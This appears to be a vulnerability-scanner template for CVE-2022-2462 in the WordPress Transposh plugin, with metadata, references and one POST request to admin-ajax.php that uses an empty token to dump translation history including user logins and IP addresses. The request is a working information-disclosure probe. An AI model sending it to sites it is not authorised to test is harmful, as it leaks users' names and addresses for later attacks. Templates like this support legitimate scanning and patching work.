id: CVE-2022-2462

info:
  name: WordPress Transposh <=1.0.8.1 - Information Disclosure
  author: dwisiswant0
  severity: medium
  description: |
    WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute.  If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
  reference:
    - https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt
    - https://github.com/oferwald/transposh
    - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2462
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2462
    cwe-id: CWE-200
    cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:*:*:*
    epss-score: 0.00573
  tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm
  metadata:
    max-request: 1

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words: # because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]`
          - "translated"
          - "translated_by"
          - "timestamp"
          - "source"
          - "user_login"
        condition: and

      - type: dsl
        dsl:
          - "len(transposh) > 0" # 'transposh' equivalent for Transposh header key

# Enhanced by md on 2023/04/13